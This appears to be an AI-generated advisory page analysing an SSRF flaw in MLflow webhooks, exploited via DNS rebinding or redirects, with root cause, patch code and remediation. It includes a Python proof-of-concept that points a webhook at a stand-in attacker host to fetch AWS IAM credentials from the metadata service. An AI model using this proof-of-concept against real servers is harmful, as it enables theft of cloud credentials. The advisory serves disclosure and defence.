CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-64849

CVE-2026-64849: Server-Side Request Forgery (SSRF) in MLflow Webhooks via DNS Rebinding

Alon Barad
Alon Barad
Software Engineer

Aug 18, 2026·5 min read·228 visits

Executive Summary (TL;DR)

A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in MLflow webhooks allows unauthenticated remote attackers to bypass IP constraints and extract sensitive local or cloud metadata credentials.

CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting MLflow tracking servers prior to version 3.15.0. It allows unauthenticated remote attackers to bypass outbound request destination filters using DNS rebinding or HTTP redirects. This exposure risks compromising sensitive cloud infrastructure metadata and internal microservices.

Vulnerability Overview

The MLflow tracking platform supports the registration of outbound webhooks to transmit event notifications to external web services. To secure these outbound requests from Server-Side Request Forgery, MLflow attempts to validate that destination endpoints resolve to public IP addresses.

Prior to version 3.15.0, the validation routine and the connection establishment phase were completely decoupled. This implementation allows unauthenticated remote users to interact with the testing endpoint located at '/api/2.0/mlflow/webhooks/{id}/test' and direct requests into internal systems.

This vulnerability is tracked as CVE-2026-64849. The bug class represents a significant boundary crossing from the public-facing MLflow service to the underlying internal network or cloud management plane.

Root Cause Analysis

The core weakness of this vulnerability is a Time-of-Check to Time-of-Use (TOCTOU) flaw. The validation function '_validate_webhook_url' in 'mlflow/utils/validation.py' performs a DNS resolution lookup and checks if the retrieved IP addresses are public.

After validation passes, the application discards the resolved IP coordinates and forwards the raw hostname URL to the Python 'requests' library. The connection manager subsequently conducts a second, independent DNS query during socket establishment, creating a window for exploitation.

Attackers can leverage a custom DNS server to respond with a public IP during validation and a local loopback or cloud link-local address during the subsequent connection. Furthermore, the client follows HTTP redirect headers natively, allowing remote web servers to redirect the validation-cleared connection directly to internal interfaces.

Code Analysis

The following diagram outlines the structural vulnerability flow within the webhook testing routine, demonstrating how the DNS rebinding is achieved across separate resolution queries:

The vulnerability is addressed by intercepting connection attempts at the socket level. The patch introduces a specialized 'SSRFProtectedHTTPAdapter' that validates the socket peer address post-connection but pre-handshake.

# Vulnerable path in mlflow/webhooks/delivery.py
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)  # Validation occurs here
    # The hostname is re-resolved inside the POST session
    return session.post(webhook.url, data=payload_bytes)
# Patched socket verification in mlflow/webhooks/ssrf.py
def _assert_public_peer(sock: socket.socket) -> None:
    if _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():
        return
    try:
        peer_ip = sock.getpeername()[0]
        ip = ipaddress.ip_address(peer_ip)
    except Exception as e:
        sock.close()
        raise SSRFProtectionError(f"Failed connection check: {e}")
    if not ip.is_global:
        sock.close()  # Terminate TCP connection immediately
        raise SSRFProtectionError("Connection blocked: private destination")

Additionally, setting 'session.trust_env = False' within the patched session configuration blocks proxy environmental variables. This prevents attackers from routing requests through local proxies that could circumvent local address filters.

Exploitation Methodology

To execute the attack, an adversary configures an authoritative DNS server with a low Time-To-Live setting. The server resolves to a public address on the first request to pass MLflow checks, then changes its target to an internal host for the subsequent request.

Alternatively, an attacker can trigger the endpoint using a public redirection server. The redirection server sends a 301 response pointing to loopback addresses, which forces the 'requests' library to follow the path without repeating validation.

The following proof-of-concept script shows how the tracking client can trigger the vulnerability:

# Technical Proof-of-Concept
import mlflow
from mlflow.tracking import MlflowClient
 
target_uri = "http://vulnerable-mlflow.company.local:5000"
mlflow.set_tracking_uri(target_uri)
client = MlflowClient()
 
# Webhook target configured for DNS rebinding
target_ssrf_url = "http://rebind.attacker.com/latest/meta-data/iam/security-credentials/mlflow-role"
 
# Register webhook endpoint
webhook = client.create_webhook(
    name="ssrf-poc-exploit",
    url=target_ssrf_url,
    events=["registered_model.created"]
)
 
try:
    # Trigger testing mechanism
    test_result = client.test_webhook(id=webhook.id)
    print("Status:", test_result.response_status)
    print("Data:", test_result.response_body)
except Exception as e:
    print("Exploit run failed:", e)

Impact Assessment

The potential consequences of CVE-2026-64849 are critical for organizations utilizing cloud-hosted MLflow services. Outbound requests can target local cloud metadata services to acquire highly privileged administrative credentials.

In an AWS environment, the IAM roles associated with the underlying EC2 instance or Kubernetes node can be compromised. This allows attackers to access remote databases, configurations, and administrative tools integrated within the platform's subnet.

The CVSS v3.1 score of 9.3 reflects the unauthenticated nature of the request, low attack complexity, and high confidentiality impact. Because this vulnerability allows communication across distinct network security zones, the Scope metric is assessed as Changed.

Remediation and Mitigation

Remediation requires upgrading MLflow to version 3.15.0 or later to install the socket peer validation logic. This patch ensures that all target IP addresses are validated at the socket creation level regardless of DNS variations or redirects.

If upgrading cannot be performed immediately, outbound network controls should be enforced. Organizations can configure host firewalls to block all egress traffic to link-local ranges and local network endpoints from the MLflow user profile.

Deploying the MLflow Tracking Server behind a secure reverse proxy that enforces user authentication prevents unauthenticated remote attackers from reaching the webhook test API. Restricting local environment proxy variables also mitigates redirection bypasses.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Affected Systems

MLflow Tracking Server

Affected Versions Detail

Product
Affected Versions
Fixed Version
MLflow
mlflow
< 3.15.03.15.0
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS v3.1 Score9.3
Vulnerability TypeServer-Side Request Forgery (SSRF)
Exploit Statuspoc
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Known Exploits & Detection

GitHub Security AdvisoryInformation on CVE-2026-64849 including technical overview and fix commits

Vulnerability Timeline

Vulnerability reported on MLflow GitHub repository
2026-06-26
Official fix commit merged to main branch
2026-07-02
Security Advisory and CVE-2026-64849 published
2026-08-17
MLflow version 3.15.0 released containing mitigation
2026-08-17

References & Sources

  • [1]GitHub Security Advisory GHSA-7gwp-5pfp-969j
  • [2]GitHub Issue Discussion #24179
  • [3]GitHub Fixing Pull Request #24258
  • [4]GitHub Security Patch Commit
  • [5]MLflow v3.15.0 Release Notes

More Reports

•1 day ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
7 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
11 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
7 views•7 min read